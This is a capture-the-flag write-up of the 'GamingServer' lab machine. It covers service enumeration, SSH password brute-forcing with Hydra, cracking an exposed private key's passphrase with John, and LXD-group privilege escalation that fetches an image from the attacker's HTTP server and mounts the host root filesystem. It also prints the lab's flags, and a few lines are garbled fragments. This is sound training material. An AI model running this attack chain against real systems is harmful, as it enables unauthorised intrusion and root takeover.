GamingServer

An Easy Boot2Root box for beginners

Can you gain access to this gaming server built by amateurs with no experience of web development and take advantage of the deployment system.

tasks:
find the user flag and the root flag

nmap

```
#command
    nmap  -sV -sC -v 10.10.69.28

#results
Scanning 10.10.69.28 [1000 ports]
Discovered open port 80/tcp on 10.10.69.28
Discovered open port 22/tcp on 10.10.69.28


22/tcp open  ssh    OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|  2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
|  256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_  256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)

80/tcp open  http   Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

http_80

```
ip = 10.10.69.28

-------------------------------------------------------
ToDo List
-------------------------------------------------------
surf through the website
run gobuster
check robots.txt
View the source code

-------------------------------------------------------
```

Gobuster

#command
gobuster dir -u http://10.10.69.28 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

#Result

```
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 312] [--> http://10.10.69.28/uploads/]
/secret               (Status: 301) [Size: 311] [--> http://10.10.69.28/secret/]
```

/secrets

Index of /secret

Name	Last modified	Size	Description
Parent Directory		-	
secretKey	2020-02-05 13:41	1.7K	

Apache/2.4.29 (Ubuntu) Server at 10.10.69.28 Port 80

```
┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ wget http://10.10.69.28:80/secret/secretKey
--2024-02-01 21:01:36--  http://10.10.69.28/secret/secretKey
Connecting to 10.10.69.28:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1766 (1.7K)
Saving to: 'secretKey'

secretKey                                   100%[===================

2024-02-01 21:01:36 (28.5 MB/s) - 'secretKey' saved [1766/1766]


┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ ls
dict.lst  gamingserver.ctd  meme.jpg  secretKey
```

surfing through the web i get an upload directory

/uploads

Index of /uploads

Name	Last modified	Size	Description
Parent Directory		-	
dict.lst	2020-02-05 14:10	2.0K	
manifesto.txt	2020-02-05 13:05	3.0K	
meme.jpg	2020-02-05 13:32	15K	

Apache/2.4.29 (Ubuntu) Server at 10.10.69.28 Port 80

i downloaded the dict.lst file that contains a list of i think passwords or usernames.

```
┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ wget http://10.10.69.28:80/uploads/dict.lst
--2024-02-01 20:30:46--  http://10.10.69.28/uploads/dict.lst
Connecting to 10.10.69.28:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2006 (2.0K)
Saving to: 'dict.lst'

dict.lst            100%[===========>]   1.96K  --.-KB/s    in 0s

2024-02-01 20:30:47 (54.4 MB/s) - 'dict.lst' saved [2006/2006]
```

```
Apache/2.4.29 (Ubuntu) Server at 10.10.69.28 Port 80
┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ ls
dict.lst  gamingserver.ctd
```

Manifesto.txt [very useless manifesto that is only there to teach you poetry]

---

sourcecode

Going back i get this comment from the dev

```
                </li>
            </ul>
        </div>
    </div>
</body>
<!-- john, please add some actual content to the site! lorem ipsum is horrible to look at. -->
</html>
```

---

so far we have :
ssh RSA
A dict.lst = i assume is a dictionary/ wordlist
A user : john

ssh_22

What i have :
ssh RSA
user : John
A wordlist of possible passwords

First attempt

```
└─$ hydra -l john -P dict.lst 10.10.69.28 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes
ese *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-01 21:08:13
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 222 login tries (l:1/p:222), ~14 tries per task
[DATA] attacking ssh://10.10.69.28:22/
[STATUS] 155.00 tries/min, 155 tries in 00:01h, 69 to do in 00:01h, 14 active
[STATUS] 112.00 tries/min, 224 tries in 00:02h, 1 to do in 00:01h, 12 active
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-01 21:10:33
```

Second Attempt
---
ssh2john secretKey > secret

john --wordlist=dict.lst secret

```
┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ ssh2john secretKey > secret
┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ john --wordlist=dict.lst secret
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)
```

Third Attempt
---
chmod 600 secretKey

ssh john@10.10.69.28 -i secretKey

```
┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ chmod 600 secretKey

┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ ssh john@10.10.69.28 -i secretKey
The authenticity of host '10.10.69.28 (10.10.69.28)' can't be established.
ED25519 key fingerprint is SHA256:3Kz4ZAujxMQpTzzS0yLL9dLKLGmA1HJDOLAQWfmcabo.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:51: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.69.28' (ED25519) to the list of known hosts.
Enter passphrase for key 'secretKey':
Enter passphrase for key 'secretKey':
john@10.10.69.28's password:
Permission denied, please try again.
john@10.10.69.28's password:
```

This was much better .

Forth Attempt

/usr/share/john/ssh2john.py secretKey > secret

sudo john secret -w=dict.lst

```
┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ /usr/share/john/ssh2john.py secretKey > secret

┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ john --wordlist=dict.lst secret
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)

┌──(bonifeso㉿kali)-[~/practice/gamingserver]
└─$ sudo john secret -w=dict.lst
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein          (secretKey)
1g 0:00:00:00 DONE (2024-02-01 21:35) 50.00g/s 11100p/s 11100c/s 11100C/s 2003..st
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

sudo john hashedkey -w=dict.lst

to crack it. Gives us the ssh passphr

source file. Let's try logging in usin

ssh -i privkey john@ip

now i have the passphrase = letmein

Login to ssh john
---
sudo ssh john@10.10.69.28 -i secretKey

passphrase = letmein

And now i have a shell.

---
user flag
---
ls then cat the user.txt file
==a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e

PRIVILEGE ESCALATION
---

uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

We use a method called “Lxd Privilege Escalation”

Privilege escalation through lxd requires the access of local account, Good thing for us since we have SSH access already
Note: the most important condition is that the user should be a member of lxd group.

To start with we need to download the lxd-alpine image builder to our local machine:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd into the “lxd-alpine-builder” directory and run the “build-alpine” with the following command.

```
sudo ./build-alpine -a i686
```

When you ls the directory you will see that you have the image file with the .gz extension.
Next we need to setup a simple http server and upload to the image file to the remote machine.

```
python3 -m http.server
```

We can use wget on the remote machine to upload the .qz file

```
wget http://10.8.172.59:8000/alpine-v3.19-i686-20240201_2212.tar.gz
```

Once uploaded we next need to import the image into lxd.

```
lxc image import alpine-v3.19-i686-20240201_2212.tar.gz --alias alpine
```

If we use the command, “lxc image list”, we can see that the image is now available on lxd.
We now need to create a machine from the image.

```
lxc init alpine privesc -c security.privileged=true
```

Where alpine is the image file and privesc is what I am calling the machine.
Next we need to add a hard drive to the machine, the privesc technique in this case looks to have the whole host mounted in the **/mnt/root** and thus you have root access.

```
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```

As noted above the machine privesc is currently stopped, so we will need to start it:

```
lxc start privesc
```

To exploit the machine:

```
lxc exec privesc /bin/sh
```

```
john@exploitable:~$ wget http://10.8.172.59/alpine-v3.19-i686-20240201_2212.tar.gz
--2024-02-01 19:16:08--  http://10.8.172.59/alpine-v3.19-i686-20240201_2212.tar.gz
Connecting to 10.8.172.59:80... failed: Connection refused.
john@exploitable:~$ wget http://10.8.172.59:8000/alpine-v3.19-i686-20240201_2212.tar.gz
--2024-02-01 19:16:42--  http://10.8.172.59:8000/alpine-v3.19-i686-20240201_2212.tar.gz
Connecting to 10.8.172.59:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3506048 (3.3M) [application/gzip]
Saving to: 'alpine-v3.19-i686-20240201_2212.tar.gz'

alpine-v3.19-i686-20240201_2212.tar.gz  100%[===================================================================================>]

2024-02-01 19:16:45 (1.39 MB/s) - 'alpine-v3.19-i686-20240201_2212.tar.gz' saved [3506048/3506048]

john@exploitable:~$ ls
alpine-v3.19-i686-20240201_2212.tar.gz  linpeas.sh  user.txt
john@exploitable:~$ lxc image import alpint-v3.12-i868-20200831_1748.tar.gz --alias alpine
Error: open alpint-v3.12-i868-20200831_1748.tar.gz: no such file or directory
john@exploitable:~$ lxc image import alpine-v3.19-i686-20240201_2212.tar.gz --alias alpine
Image imported with fingerprint: 7afb16bae02b96e96389f972e6b98992444a4e63b2b005fe93d10f19d225f3d4
john@exploitable:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
john@exploitable:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
john@exploitable:~$ lxc start privesc
john@exploitable:~$ lxc exec privesc /bin/sh
~ # whoami
root
~ # ls
~ # find / -type f -name "root.txt" 2>/dev/null
/mnt/root/root/root.txt
~ # cat /mnt/root/root/root.txt
2e337b8c9f3aff0c2b3e8d4e6a7c88fc
~ #
```

---

root flag = 2e337b8c9f3aff0c2b3e8d4e6a7c88fc